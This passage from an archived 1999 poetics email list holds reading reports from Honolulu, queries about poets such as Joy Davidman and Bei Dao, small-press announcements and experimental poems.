deadbeat dad in Cayman Island hideaway sticking with the coconuts and verisimilitudes. Poetry is the gunk you don't bother to scrape from your shoes, and anyone can make it. it has the benefit of filling in holes. it sings because the gun's jammed in the ribs. don't shoot Poetry, we need it. kill me, not Poetry. Poetry has too much to offer. Poetry has vision, and pieces of snakes and careerist oblations. Poetry is from the stars and made for intense picnics. Poetry is political the same way ice cream is, mean, inspired ice cream. Poetry has a piano with all the words on it. Poetry can be made into lemons or frogs. Poetry is terrific because people are terrific. Poetry is the sight of a crow and a farm in famous New Delhi. you have to behave to write Poetry. everyone loves Poetry, Poetry is the bomb. and when that bomb goes off, an entire tent will shimmer in the breeze. oh, the beautiful breeze. a little girl will look up, slightly amazed at Poetry's wonder machine. her friends think they see something but, no, Poetry is fickle because Poetry has hopes. to play on a nice team, with the right kids, in an okay town, Poetry has the thing together. perhaps the little girl is not all that together. Poetry will know. oh yes, Poetry will certainly suss the sitch.

↑ Index

73. Ron Silliman

Re: re revolving doors

Wed 6 Oct 1999

I certainly had read every available book of David's before I wrote that first phrase to Ketjak in 1974. However, I wrote that sentence in a small cafe in SF across the street from the B of A world headquarters while waiting to meet Rochelle Nameroff for lunch one day. There was a revolving door on at least one of the entrances then (don't know about now).

I had also heard the west coast debut of Steve Reich's Drumming the night before at the Asian Art Museum, and that use of reiteration was in my head, literally ringing in my ears.

Ron Silliman
Bedford, NH

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

74. Rod & Corrine Holke-Farnam
(no subject)
Wed 6 Oct 1999

I'm searching for information on Joy Davidman. Any ehlp would be greatly appreciated.

Corrine [redacted]

↑ Index

75. James Brook
info on Bei Dao?
Wed 6 Oct 1999

After reading the current Rain Taxi interview with Bei Dao, which sent me back to his books of poetry, notably the latest, Landscape Over Zero, I am more and more intrigued by this poet, whom I once saw read in Paris several years ago.

Could someone direct me to published criticism or other interviews? According to Rain Taxi, Bei Dao is teaching at the University of California at Davis. I wonder if anyone has a more precise address?

Thanks,

--James Brook

↑ Index

76. juliana spahr
reading report from honolulu
Wed 6 Oct 1999

Sorry if this is too long. Please just delete it. But in four days I think we had most of the readings for the year.

The readings began with one by Maxine Hong Kingston. It was packed. Some guy in my dept, and several other people, have been complaining a lot about Kingston coming to read (HLAC brought her). I've been forgiving the way hlac is paying Kingston $500 to read (not much money; she had a better paying, yet restricted, gig at the HCTE). Mainly b/c I'm just like, well it is someone else reading (one step forward of my hlac year). And it was what I expect of community arts organizations--they like big names.

She read this piece from that Hawai'i book. I need to go and read it. I'll probably get it wrong here. It was a chapter about the TAlk Story conference (one of the first conferences on local lit in the 70s or early 80s; Susan Schultz will know; something I obviously did not attend). I found it completely offensive (but

I might be overreacting I should say since I don't have the text and didn't take notes). It began with this story of ladies lifting their skirts as they walked across the palace grounds where Liliuokalani was interned (which someone pointed out she miscalled the governor's palace). And then it goes on to do this reading of the conference which was mainly about who didn't like her or who did and who walked out when she read, etc. and how she was an outsider and not supposed to write about Hawai'i and how the (local, I assume) poetry was all very bad and she had to tap her finger so as not to be infected by it. And it talked about how she feels like she shouldn't write about Hawai'i but then it said things like I understand things better about Hawai'i b/c I'm not from Hawai'i. (A theme that she spent 10 minutes on later; saying that she never writes on Hawai'i and yet she read two long pieces on Hawai'i.) She completely glossed over the thing with her and Chin and Wong (which is reductive on both sides it seems; when someone in the audience asked her why there were no Asian-Amer male writers (?!), she said it was b/c women read more books and go to college more).

Then she reads this story from her new novel that is about Hawai'i (which she wrote from the clarity of California she tells us). And it is about water and fishing. And has some of the worst pidgin I've heard (to my tin mainland ears--it feels very fake; very limited vocabulary; lacks obvious turns of phrase; but it cd be pidgin of 10 years ago; I'm no expert here--in fact I get most of my pidgin via the local literature; so I guess I should just say it doesn't sound as rich? or should I say it doesn't sound all Bamboo Ridge?). And then it ends with this scene where Whitman's (character from past novel) wife, who is haole, goes down to the corner store. On the way there she thinks about how she is beginning to see the darker side of paradise. And then she goes over to talk to this group of local guys. They are sitting on a bench. All together. And one of them is masturbating. And talking to her. He is masturbating by rubbing back and forth on this bench, which is worn smooth from all this rubbing. And the men take turns, sitting in this masturbation seat.

During the question and answer she states that she now doesn't put people in her books unless she asks them first. That it wasn't right of her to write crazy people in her books, say. Or whatever. Someone, finally, asks her about this scene, and say it doesn't sound very respectful to the Hawaiians (although I think these men are just local in the narrative and not more specific). She says, well it was true.

There was other stuff too. Lots of stuff about peace. And about how her work was a response to the horrible wars of this century which we have to cover over with peace, etc.

I'm trying not to overreact. And I was thinking also about how I can go to endlessly dull readings of avant garde stuff and yet I can't take a little craziness on the normal stuff.

Then the next day, Listers Susan Schultz and me and nonlisters John Zuern, Kyle Koza, Caroline Sinavaiana, and Rodney Morales organized this fall festival event which we called Alter Englishes. We inherited the festival from Robbie Shapard. It is a series of readings with a lot of apparatus. Sometimes the apparatus makes me uncomfortable.

On Friday Cecilia Vicuna was 5 minutes late for her talk because I forgot to tell her where it was. She came in the room apparently, I was out looking for her, shaking a seed pod and saying "I'm very angry." Then I came back and she started yelling at me but then gave me a hug and said she forgave me. I think I must have looked very upset. She then gave a great talk called "In Tongues Within." It was a version of her talk at Bard. I love the talk. It is hopeful about language yet also very aware of the political. She told a story about going to American movies when she was a kid and then coming out of the theater and everyone speaking in a fake english in order to mimic the language of power. But she also talked about the ways indigenous languages infiltrate into colonial languages. She whisper talked the talk. Which fascinates me.

During the discussion Rob Wilson asked a question about utopianism in her talk. Cecilia spoke in defense of acknowledging the disruptive moments in languages with skill. She showed at this moment that she is very, very smart. It is hard to negotiate here sometimes and she was doing it with such skill and she had only been here for a half a day. I think she must be used to the sorts of arguments about here. In the midst of this Sina mentioned Epeli Hauofa's talk during the summer (I missed it) and how he talked about the difference b/t utopia and possibility and the importance of acknowledging possibilities within colonial situations. I thought this was a good turn on the abyss we sometimes find ourselves in here.

Myung Mi Kim was also supposed to speak but she couldn't make the conference because she got in an automobile accident and then had to get surgery.

AFter the talk Anne Tardos and Cecilia went to the beach. I was supposed to go but I went to the lei story and then to buy some tablecloths with Susan. We went back and set up for the bookfair (part of the apparatus). And waited for the food (another part of the apparatus). The food was delicious. Matt Lau who used to run my favorite neighborhood restaurant made it. It was big slices of tofu in sauce and some chicken thing in papaya sauce and rice and vegetables. We had ordered food for 300, which is about how many people came last year. But only around 175 people came. So the auditorium was too big and there was too much food and this made me very paranoid.

But the reading was great. Eric Gamalinda read. He is our visiting writer and I like him b/c he seems to always be in a good mood. His work was interesting: lyrical, concerned with Filipino and/or F-American identity, at moments going off in unexpected directions. It made me happy. Cecilia read. She started singing from the audience. And this caused some problem with the introducer who wanted to give her a lei and who ended up following behind her across the stage in some sort of shadow dance. She read some of her whisper poems. And Lee Tonouchi read. Lee is a local pidgin writer. He kind of embodies pidgin machismo. It kind of annoyed me at first but I'm beginning to forgive him. He does a sort of stand up comedy act where he reads these stories about a guy's girlfriend who is always dumb. I think he might be a force in the future when his work becomes about more than the dumbness of girls.

After the reading I wanted to go out with the graduate students but Bill didn't want to b/c he had to study. I became this good combination of grumpy and paranoid and didn't sleep all night.

Talks the next day started at 10 am. Ku'ualoha Ho'omanawanui gave a talk on the history of the Hawaiian language. She noted that in the 1860s Hawai'i had the highest literacy rate in the world. That a very long Hawaiian novel was serialized in the newspaper b/t 1860 and 1861. That numerous works were translated into Hawaiian during this period. Things like Shakespeare's Tempest. Then all this ended with the annexation. And the Hawaiian language went into decline.

Anne gave a talk on why she writes multilingually. It was in the form of a self interview and was very funny. She has a version of it at her website. I would recommend checking it out and will not spoil it with summary.

And Lee gave a talk called "Da Death of Pidgin?" that was about how great pidgin was and kind of the joke, or not, was that pidgin was a language that encompassed everything so that even English was pidgin. Or I think his point here is that there is no pure pidgin. He was very worried about avoiding pidgin standards. I liked it best though when he talked about how he used pidgin to write letters to the editor and they got printed and how he used pidgin fill out his job application teaching English at KCC and he got the job and how he used pidgin for writing graduate school papers and still passed. His talk greatly pleased me.

The discussion afterwards returned to language politics. Some members of the audience felt that Anne was being too optimistic when she said she wrote multilingually b/c that was what life was like for her. Or that she was not making a nation argument b/c her work had the languages of many nations in it. Anne avoided taking on the obvious marginalization that was one possible response to this argument (that the reasons she knows so many languages was that her parents were Jews and had to move a lot to avoid anti-Semitism). I was

reminded about how in life at times there is just one argument. And had to say to myself yet again that one of the reasons we should invite people from outside (although not exclusively from outside--another problem with a long history) was that they might see things differently and that this was good. Also stewing underneath the discussions, but never vocalized around me, was the complicated language politics here. Pidgin is out with certain intellectuals (it is too Bamboo Ridge and thus neocolonial--I simplify but so does this argument). Hawaiian is in. So I think Lee's inclusive pidgin politics didn't really fly with some. Or that is what some people said over lunch maybe but not where I was. I went to the lei store after lunch.

At 2 Grace Molisa gave a talk on "Language, Gender, and Human Rights in the Pacific." She is a writer from Vanuatu and she spoke movingly on Vanuatu which is a country of over 80 islands with 170,000 people who speak over 100 languages and the nation itself has three official languages (Bislama, English, and French). She said that some people say that Vanuatu has the highest languages per capita (I think it is Papua N.G. that has the highest number of languages?). She spoke very slowly and very articulately about illiteracy in Vanuatu (around 50%; higher for women), about being one of few literate women and working in the new government (Vanuatu went sovereign in the 80s), about her own education. She also talked about how she is translating the universal declaration of human rights into Bislama.

After her talk I went to the lei store again (we kept miscalculating). And then we set up for the bookfair. And again only around 175 people came and we had too much food which was complicated by the fact that Matt was like 3 hours late with it and it made us all very hungry and kind of crazed. Cecilia and I were eating fritos by the end.

Anyway, we started the reading without food. And Grace read first. She read these amazing poems that were very unpoetic. Steve Carll called them "memo poems." They were short poems with no metaphor or turns of phrase. One went something like this in its entirety: emerging states seek the help of outside advisors. Another was about what democracy was. They fascinated me because they were not an obvious part of the postcolonial tradition in terms of form (which often sounds like Adrienne Rich). But they were very aware of poetry's role in postcolonial situations. She writes her poems to explain things to people in a way that they will remember them. She publishes her books herself and I gave her the name of spd so I hope she will list with them. I recommend them highly.

Anne read next. I was nervous about how her poems would be received but the audience got them and laughed a lot. She read from Uxudo and also had these poems displayed on the screen behind her. AT one point the crazy lady who comes to all the readings here started reading along with them and it created

this wonderful additional voice from the audience. There was also a great contrast between Grace's spare, information poems and Anne's multilingual registers. I thought it worked and was a good lesson on all that poetry can be for me.

Then Ku'ualoha had asked that she be able to turn her reading time over for a creative presentation by the journal 'Oiwi (which she co-edits). They had a gourd player and a flutist (I know I'm calling these things by their wrong names which are very specific in Hawaiian) and several readers and images on the screen. They read sections from the first issue of the journal. The performance was restrained but also very interesting. I liked its emphasis on the collective aspects of editing and how that is what is important. I was a bit disappointed that they for some reason decided to highlight the poem that compares butt fucking to colonialism (the line is: "It's like/Getting fucked in the ass/Is supposed to be/A turn on--/Get real!"; I've complained about this before) by Mahealani Kamau'u. But otherwise it was very political and kind of another interesting contrast with the readings that came before. It pointed out one form that nationalist art might take inside a university. And that seems very important.

Then we all ate some food. And then we went to the bar Shipley's. There was more food there. Which would have been fine if we had eaten four hours earlier when we were supposed to but didn't. We drank some stuff, went home, slept for a long time. The next day Anne and Cecilia and Bill and me went to Bellows, a beach that is owned by the military and you can only visit on weekends. Cecilia rode on the body board a lot. Afterwards we came home and Eric and Steve came over for dinner. We had a series of salads for dinner.

A few days later Susan said we should start planning next year's. And I thought I am still way too tired. Setting up readings here makes me too tense b/c of the politics of things. I'm working hard on balance between elsewhere and here and still that seems not right to many. I realized while doing this that I like events that are no man's lands, that have no affiliations. But sometimes that means that no one is interested. But at the same time doing stuff here means bringing in people who you might not otherwise hear ever. I wish more peope from other parts of the Pacific came to read. And I enjoyed attending the event. The conversation between elsewhere and here interested me. I kind of need that friction in order to understand things.

I'm going to put the readings up on the web in a month or so (but not the Kingston reading which I didn't organize). I'll let you know when I do this.

↑ Index

77. **kathylou**

Re: View from the front: The Small Press Traffic soiree

Wed 6 Oct 1999

And let's not forget, it was all for a good cause: Raising
money for Small Press Traffic! If you saw the list of
fabulous auction items and raffle prizes and wondered "how
the heck did they get that?" I have two words for you:
Kevin Killian. I'm thinking he should hire himself out as
a consultant, or at least professional autograph hound.
Good job kids.
Kathy Lou Schultz
> It being nearly impossible for me to grow a beard myself, I've always held
> the hirsute facial appendages enthralling in others. Thus the true motive
> for my avowed "great pleasure" in introducing David Bromige during the
group
> reading at the same event. (Though, it's true, I have as much admiration for
> his work as for his beard - and the same might be said of Delany). So mine
> is a beardward bent that needs no beard for its bending.
>
> Tanya, of course, has her own "bent" reasons to dig a translucent plastic
> envelope full of hair...
>
> Taylor
>
> -----Original Message-----
> From: UB Poetics discussion group [mailto:[redacted]]
> On Behalf Of Tisa Bryant
> Sent: Monday, October 04, 1999 2:47 PM
> To: [redacted]
> Subject: Re: View from the front: The Small Press Traffic soiree
>
> Kathy,
>
> I believe it was Ms. Tanya Hollis who scored the snip of Chip's beard....
> I remember being shocked and delighted that she bid on something described
> as
> being for fetishists....maybe they'll share, or (gasp!) maybe it is Tanya
> who's
> the beard for Taylor's bent....hmmm.
>
> Tisa

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78. L. MacMahon and T.R. Healy
Re: OVO, stockholm
Wed 6 Oct 1999

David

oi object to that last remark. Though, while we're at it, listening to the radio this afternoon I realised that paddies pronounce the words lawyer and liar almost identically. (Add the o's yourselves, I'm on a go slow)

cheers

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm
or find more Irish writing at:
http://www.nd.edu/~ndr/issues/ndr7/contents.html

> From: david bromige <[redacted]>
> To: [redacted]
> Subject: OVO, stockholm
> Date: 06 October 1999 06:58
>
> Maybe it's obvious to all, but if not, you will welcome the news
> that Oidentifieriade verbala objekt is an unidentified verbal object,
> presumably something that doesnt exist that everybody's read or heard of
> (although isnt it rather, in this case, something that does exist that
> nobody has seen or read of, in sweden that is, until now? leastwise in
the
> minds of the editors?). It must be quite clear to non-swedish readers,
> except for the O, which has the function of un, but looks as though an
> irish person had blundered into the act. David
>

↑ Index

79. William Marsh
Re: small press publications announcements deadline
Wed 6 Oct 1999

Thanks for including the following from PaberBrainPress

Chapbooks

1999:
John Olson, *Logo Lagoon* (28pp.)
Steve Carll, *DRUGS* (24pp.)
Rebecca Byrkit, *Suite: Mary* (20pp.)
Sheila Murphy & Peter Ganick, *numens from centrality* (36pp.)

1998:
M. Magoolaghan, *mag nets* (20pp.)
Dan Featherston, *ROOMS* (36pp.)
Willam Marsh, *b/c* (40pp.)

All chaps $5 or 2 for $8

Limited Editions

Dana Montlack & Bill Marsh, *The Bagua Book* (text and color images, 24pp., $20) Dana Montlack & William Marsh, *Recycler's Handbook* (text and color images, 30pp., $15)

current site for more information:

http://bmarsh.dtai.com/paperbrainpress/

thanks much!

bmarsh

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of Jerrold Shiroma*
> *Sent: Tuesday, October 05, 1999 12:32 AM*
> *To: [redacted]*
> *Subject: small press publications announcements deadline*
>
> *The deadline for this week's Small Press publications announcements page @ Duration Press is this Friday. All publishers who wish to have their publications listed, please send all appropriate information, such as titles, authors, prices, contact / ordering information, web addresses, & short descriptions to [redacted]*

↑ Index

80. Tenney Nathanson
recent material on Erica Hunt?
Wed 6 Oct 1999

I'm wondering if anyone knows of work published ON Erica, esp recent work (or particularly good work).

thanks for any leads.

Tenney

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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81. David Kellogg
Re: Joy Davidman
Wed 6 Oct 1999

She is briefly discussed in Cary Nelson's book _Repression and Recovery_.

Rod & Corrine Holke-Farnam wrote:

> *I'm searching for information on Joy Davidman. Any ehlp would be greatly appreciated.*
>
> *Corrine* [redacted]

--
David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

↑ Index

82. Alan Sondheim
the parental
Wed 6 Oct 1999

o+

the parental

the promise

i am very small in the world
i have tried to make peace with the world
i constitute and reconstitute myself
i have tried to make peace with my father
i am barred from the world and my father
in the next quarter century i will write
i will complete the work i have been writing
i will compile and interpret the work
the work will remain in spite of its ruin

in the stories of mothers and sons i am written
in the stories of fathers and sons i am written
i am a coward small and fearful
in this world i will write not a world
from not a world for decades i will write
i will write pebbles and endless beaches
i will walk on edges and fly low near a height
i shall ascertain the heights of men and women
i will reckon and live through reckonings
i will promise and live through promisings
in ruins i will stumble and write of ruins
among friends and enemies i will testify
shore and beaches and pebbles are memories
of nights and days i will write their turnings
i am fearful of worlds and will never write worlds
i am fearful of worlds and i will write worlds
this promise of the 6th day 10th month 99th year
when i am smallest in this smallest of worlds

cancer

Tue Oct 5 22:14:18 EDT 1999 now cancer will begin its journey in the arms of god arraignments while cancer subsides and angels happy Tue Oct 5 22:22:54 EDT 1999 arraignments during final assaults and angels dying Tue Oct 5 22:23:12 EDT 1999 let us pray

Tue Oct 5 22:14:18 EDT 1999 in the truth of god the cancer enters the lung, from the truth of god the cancer hovers, now, as if it were forever Tue Oct 5 22:14:54 EDT 1999 abandoned by god, the cancer thins towards ready exculpation, as if it were gone, as if angels rejoiced, singing the home of abandoned cancer, the purity of organs constituted Tue Oct 5 22:15:56 EDT 1999 now cancer returns, approbated by god, as if god were speaking or speech or sound, now cancer spreads to the adrenal, angels weep in full capacity against the begging of the angels arrayed against god, now cancer seeps, spreads, covers itself, makes excuses, ahem, begs foregiveness, meanders, wanders, returns, burrows, ahem Tue Oct 5 22:18:00 EDT 1999 now cancer subsides, angels rejoice, god withdraws, there is no justice in the world, suns blacken, angels sing and play harps, cancer dwindles, eyes return their bright and merry sight Tue Oct 5 22:18:39 EDT 1999 now breathing slows, waves of cancer testing other newer waters, new metastases, solitons and wavelets, ripples on surfaces unseen, god smiles wide and broad, angels shudder holding on Tue Oct 5 22:19:30 EDT 1999 now cancer claims an other organ, angels again weeping and wailing, shall there be no mercy, angels crying and begging, god almost merry, cancer hems and haws, cancer close to apologetic laughter Tue Oct 5 22:20:26 EDT

1999 now cancer will begin its work within the arms of god, angels prepare for bier and mourning, angels yet hopeful in the face of god's huges eyes Tue Oct 5 22:21:30 EDT 1999 smiling everywhere, yet other organs, uncanny stillness, strangeness of beings of pure light arrayed against skin, bones, organs, god's beings against angels wailing Tue Oct 5 22:22:39 EDT 1999 arraignments during final assaults and angels dying Tue Oct 5 22:23:21 EDT 1999 let us pray Tue Oct 5 22:23:22 EDT 1999

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83. Joel M Bettridge
call for papers (Ronald Johnson Conference)
Thu 7 Oct 1999

__Eye, Ear, & Mind: A Conference on the Poetry of Ronald Johnson__ The conference will be held in the Poetry and Rare Books Library at SUNY Buffalo, and will take place on April 21 & 22 (2000). Any area of Johnson's work is open for discussion. Please send abstracts by January 31: email to, [redacted], or by mail to Joel Bettridge, 259 Ashland Ave #3, Buffalo NY 14222. If you have any questions please feel free to contact me at the either address. Please pass this post on to anyone that might be interested, or any other relevant lists.

thanks,

Joel

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84. miekal and
under the Palace of Escapist Literature
Thu 7 Oct 1999

Hito shirezu koso, [redacted]

Forgive the interruption
or did I see the young bamboo?
Things are not the same for one man,
the many poisonous insects that emerged
pursue us one after another
hanging from our shoulders
even the rude mountain had nothing
to hope for
there were still many empty fields
I am writing one
to see what a woman can do
omowazarishi wo

in the morning I retired
after he sent this verse to her:

although

you are

old

crossing

the past

o waves!

forgetting-shells

Semio Cipher, [redacted]

When I try to climb I lower my eyes. The single note with thorns is no place to write. A forest, indistinct, too shy to follow. Pure heart, drunken stupor, clutching child. I'll be the revelation atop city walls. But a man into ghosts seeks words that rhymes. Or does she feel annoyed as she speeds away? The good man grows thorns.

meat-girl, body without syntax

with such happiness between
the clouds
ink freezes when I think of this
I have been unable
to gaze peacefully in the distance
the eyes dispair in disarray
I'm unable to sleep
where the dawn has not come yet
a face greatly changed
now I lean on sadness, there are limits
to know the world is vapor
it moves me to sing
distant spaces that await me hurt my heart
my regret gathers force
stilled in this presence

Sally Forth, [redacted]

Don't you see withered trees
I must leave among the clouds
Always the disturbing meditation
No one can give my food to the crows
Who lived scene by scene

Blooms burst her green mound
Flutes and wind once parted
My severe decay has yet to go where I go
I'm drunk and the world is vast
He's never been here & I lift up my skirt
In front of his meloncholy

Great great grandfather, 1907 somewhere near Ankara, Turkey

neither living or dying
speeds up the dancer's striptease
elements of surprise & a capricious
warning finger "how do you know
a single word can be good?"
loss of verbal desire
but they are only improvisations
until he is loved by one of the puppets
consistent use of imitation
failed each morning in this rustic village

it is always the trace of the cut
that has had the desired effect
leading to a blurred noise
not one has survived
discontinuities which represent words
that might be her last breath

---

a
bearded lady
brings him
financial ruin
when the agreed-upon
day demands his soul
a wager
thinking he
is awaiting Venus
who appears modern
with frequent
melodies

---

to be in the secret
run out of words
shake the dust to wake up

↑ Index

85. d.j. huppatz
new publications from down under
Thu 7 Oct 1999

Dear All

Announcing Textbase Issue #4, 26 pages of experimental writing in glorious black & white, including a fancy foldout interview with Melbourne concrete/vispo/sound poet PiO.

Plus, new from Textbase micropress, THE WEEK SONNETS, a chapbook by D.J. Huppatz. Here's what the critics have said about this volume:

"Week Sonnets? More like Weak Sonnets, they don't even rhyme." - Kevin Schwartz, Brunswick Times. "Well it's a bit strange. Why can't you write something nice?" - Martha Huppatz, poet's mother.

All swaps considered BUT I also have a limited number of freebies of both, backchannel with your address for copies.

Dan Huppatz,
Melbourne
Australia

↑ Index

86. Sara Lundquist
(no subject)
Thu 7 Oct 1999

If any one knows David Lehman's email address, would you backchannel it to me at [redacted]?

Sara Lundquist
English Department
University of Toledo
[redacted]

Without shyness or formality
"a gesture of allowing oneself time"
Remember how starry it arrives the hope of another idiom, beheld
that blush of inexactitude, and the furor, it
will return to you, flotsam blocked out (Guest)

↑ Index

87. Poetry Project
readings next week
Thu 7 Oct 1999

Tomorrow, Friday, Oct. 13th at 10:30 pm

is Po'Jazz

Jazz & poetry with Golda Soloman, Gerthie Owtram, and musicians.

Monday, Oct. 11th at 8 pm

is Blood & Tears: Poems for Matthew Shepard

with John Ashbery, Patricia Spears Jones, Eileen Myles, Jaime Manrique, Edmund Berrigan, Eleni Sikelianos, Kristin Prevallet, Stephen Turtell, Dean Kostos, Manny Xavier, Lisa Jarnot, Lee Ann Brown, Maggie Nelson, Griffin Hansbury, Beatrix Gates, Gerrit Henry, and Linda Smuckler.

Wednesday, Oct. 13th at 8 pm

is Poetry/In Transit

Danish poets Annemette Kure Andersen, Niels Frank, and Pia Tafdrup read as part of the ongoing project Poetry/In Transit, with English translations read by John Ashbery, Eleni Sikelianos, and Siri Hustvedt.

Friday, Oct. 15th at 10:30 pm

is The Haiku Year/Head to Head Haiku Competition

Douglas A. Martin, Anna Grace, Tom Gilroy, and Jim McKay read from The Haiku Year, published by Soft Skull Press. Then, open rounds of Head to Head Haiku, led by Headmaster Daniel Ferri. Bring 17 or more haiku and win prizes!

All events are $7, $4 for students/seniors.

↑ Index

88. A H Bramhall
Thursday's Book Report
Thu 7 Oct 1999

I'm no good at this but want to point to Karen Kelley's latest book, Venus Return (Vatic Hum, SF), and say (in a deep voice to denote seriousness) that the book deserves attention. the poems are worked in a carefully rendered prose - as if she's had practice writing -- with uninflected, dream-like shifts of place, mood, and attention. they have a viscous integrity, solid but shifty; they might even be surreal but I never went to that school. "What do you want? Buttered

toast? Dollar bills? The meat in the pan? Lots of books? Monogamy? Modest photos of yourself no one else will ever see?" yes to all, as a matter of fact, especially the last, but here's the point: I find myself chuckling at the dry humour that always arrives unexpected. I'm caught off guard as I read, and eager for more surprises. the dreaminess carries a sexy passion and a human confusion straight from the source. some people think there's such a word as 'about' so I'll go so far as to say that these poems are about gender, relationship and underwear. politicized underwear, that is, and I'm not kidding. typefaces have been carefully chosen and employed, with both visual impact and legibility equally honoured: I commend that. I hope Venus Returns sounds as interesting as I found it.

↑ Index

89. Brian Stefans

New Arras URL -- please change your links!

Thu 7 Oct 1999

Arras can now be found at:

http://www.geocities.com/arras_online

Geocities is the place where you can get 11mb of server space for free, which is why it's moved. The drawback is that an ad banner pops up in a new window.

My advice: DO NOT close the new window, only minimize it (that is, hit the button with the single "_" in it rather than the one with the "x"). This will keep the banner out of site while you navigate. If you close the window, it will reopen every time you hit a link, pretty annoying.

As they didn't have "Poetry" as a subject category, I chose "Issues and Events," so the advertising is relatively innocuous. All I've seen so far is a banner for debt considation, which is actually kind of helpful.

Please change whatever links you have on your site to the new URL. There won't be any forwarding from the old URL, it'll just be dead.

Thanks so much to all of you who have visited the site and/or linked to it! Much appreciated...

↑ Index

90. Todd Baron /*/ ReMap Readers

ReMap #7

Thu 7 Oct 1999

"Love's work is always freedom" D. Meltzer

The new ReMap is almost home from the printers.

Please subscribe or re: as
we wish to survive
as we do.

since 1990--

7: LOVE

Lee Ann Brown
Laura Wright
Tosh Berman
Martin Nakell
Alice Notely
Douglas Oliver
Chris Reiner
Rodrigo Toscan
Elizabeth Treadwell

edited by Todd Baron and Carolyn Kemp

$10. per two issues
3625 wesley st
culver city ca 90232

love's deidication: sophie dylan baron born 9/16/99

check to Todd Baron

↑ Index

91. Poetics List Administration

r e a d m e

Thu 7 Oct 1999

This message came to the administrative account. - Tim

---------- Forwarded Message ----------
Date: Wednesday, October 06, 1999, 4:56 PM -0400

From: Gary Sullivan <[redacted]>

Subject: r e a d m e

Hello everyone,

r e a d m e is now up:

http://www.columbia.edu/cu/history/detour/readme

I n t e r v i e w s

Charles Bernstein (by Bradford Senning)
Mary Burger (by Jacques Debrot)
Jeff Clark (by Jordan Davis)
Nada Gordon (by Gary Sullivan)
Randolph Healy (by Robert Archambeau)
Kent Johnson (by John Bradley)
Rebecca Levi (by GS)
Ange Mlinko (by GS)
Alan Sondheim (by GS)

E s s a y s

Jack Kimball on John Wieners
Kimberly Lyons on Women and the Poetry Project
Alan Sondheim's "" or Practice

P o e t r y

Daniel Davidson's Last Poems
Nada Gordon "essay"
Joel Lewis "The Pethro Poems"
Kimberly Lyons "Concordonnance"
Alan Sondheim "Selected Works"

R e v i e w s

Nada Gordon on Andrea Brady's Liberties
Jeffrey Jullich on Aaron Shurin's Paradise of Forms
Ramez Qureshi on J.H. Prynne's Collected Poems
Gerald Schwartz on Kamau Brathwaite
Heather Fuller on Jeff Conant

A S p e c i a l S e c t i o n o n D a n i e l D a v i d s o n w i t h w r i t i n g b y

George Albon
Bruce Andrews
Dodie Bellamy
Jeff Conant
Beverly Dahlen
Greg Fuchs
Benjamin Friedlander
Kevin Killian
Colleen Lookingbill
Aldon Nielsen
Charles Pollack

Gary Sullivan
Jordan Zorker

L i n k s

Links to bios, interviews with and work by more than 400 20th century "non-mainstream" authors (constantly updated; feel free to suggest further URLs).

r e a d m e is a quarterly online journal of poetics featuring interviews, essays and reviews germane to contemporary poetry. Poetry published only in tandem with author interviews and/or critical prose, except in cases of poem-as-reading/critique. Queries welcome. A letters page will be included in subsequent issues. Please send all queries and correspondence via email: [redacted] or to Gary Sullivan, 558 11th Street, #1B, Brooklyn, NY 11215.

Next issue: Interviews with Hoa Nguyen, Laurie Price, Rod Smith, and more ..

---------- End Forwarded Message ----------

↑ Index

92. Nielsen, Aldon
L.A. reading
Thu 7 Oct 1999

Jay Wright reads
Tuesday, Oct. 12
8:00 PM
Loyola Marymount University
McIntosh Center in Sullivan Hall

7900 Loyola Blvd., L.A.
(near the airport -- just off Manchester as you head into the Pacific)

call Nielsen for info. [redacted]

next up: Primus St. John on Oct. 20

↑ Index

93. Al Filreis
Re: Joy Davidman
Thu 7 Oct 1999

Very briefly. Alan Wald is a better source of information (he's at Michigan). -- Al Filreis

---

|
| She is briefly discussed in Cary Nelson's book _Repression and
| Recovery_.
|
| Rod & Corrine Holke-Farnam wrote:
|
| > I'm searching for information on Joy Davidman. Any ehlp would be
| > greatly appreciated.
| >
| > Corrine [redacted]
|
| --
| David Kellogg
| [redacted]
| Duke University, University Writing Program
| [redacted]
|

↑ Index

94. Joe Amato

UB Job Ad

Thu 7 Oct 1999

> *Assistant or Associate Professor*
> *New Media/Graphic Design*
> *School of Communications Design*
> *University of Baltimore*
>
> *Position beginning August 2000 in an interdisciplinary School of Communications Design with unique applied/professional programs.*
>
> *Applicant must have substantial experience in interactive media and graphic design, MFA or equivalent degree, strong commitment to teaching, and ability to teach a variety of digital arts courses at undergraduate, masters, and doctoral levels. We are interested in candidates who can teach some or all of the following: computer graphics and animation, Web and other electronic publishing, digital audio and video, 3-D modeling/VR, and information design.*
>
> *Both technical expertise and design excellence are crucial. Portfolio must include both interactive media and print. Salary and rank commensurate with qualifications and experience. Review of applications will begin 12/15/99.*
>
> *Submit letter, vita, portfolio and URLs, plus phone numbers for 3*

> *references to Jaye Crooks, School of Communications Design, 1400 N. Charles Street, Baltimore, Maryland 21201-5779.*
>
> *The School of Communications Design offers undergraduate degrees in English and Corporate Communications, an MA in Publications Design, and a new first-professional degree, the Doctor of Communications Design (DCD). The School also offers a range of post-Master's certificate programs in advanced design, communications and design theory, literary publishing, and new media publishing. The associated Institute for Language, Technology, and Publications Design supports fellowships, lectures and seminars, and advanced research projects.*
>
> *For direct inquiries, please e-mail Jaye Crooks, [redacted] or call 410/[redacted]. For further information about the School of Communications Design please visit one of these Web sites:*
>
> *Main site: <http://raven.ubalt.edu/comDesign>http://raven.ubalt.edu/comDesign*
>
> *Doctor of Communications Design: <http://raven.ubalt.edu/dcd>http://raven.ubalt.edu/dcd*
>
> *Certificate programs: <http://raven.ubalt.edu/certificates>http://raven.ubalt.edu/certificates*
>
> *Institute: <http://raven.ubalt.edu/institute>http://raven.ubalt.edu/institute*

↑ Index

95. **miekal and**

5 eprayers for alan with alan's words

Thu 7 Oct 1999

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stillness,
stillness,
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my
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promisings
apologetic

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if
angels
return
if
my
us
constitute
approbated

apologetic
stillness,
be
me
if

harps,
return
as
if
we
constitute
promisings

↑ Index

96. Leonard Brink

New from Avec -- Michael Palmer

Thu 7 Oct 1999

New From Avec Books: _The Danish Notebook_ by Michael Palmer. Poetry *Autobiography. For more information about this book, or to read an excerpt, please go to www.instress.com/avec

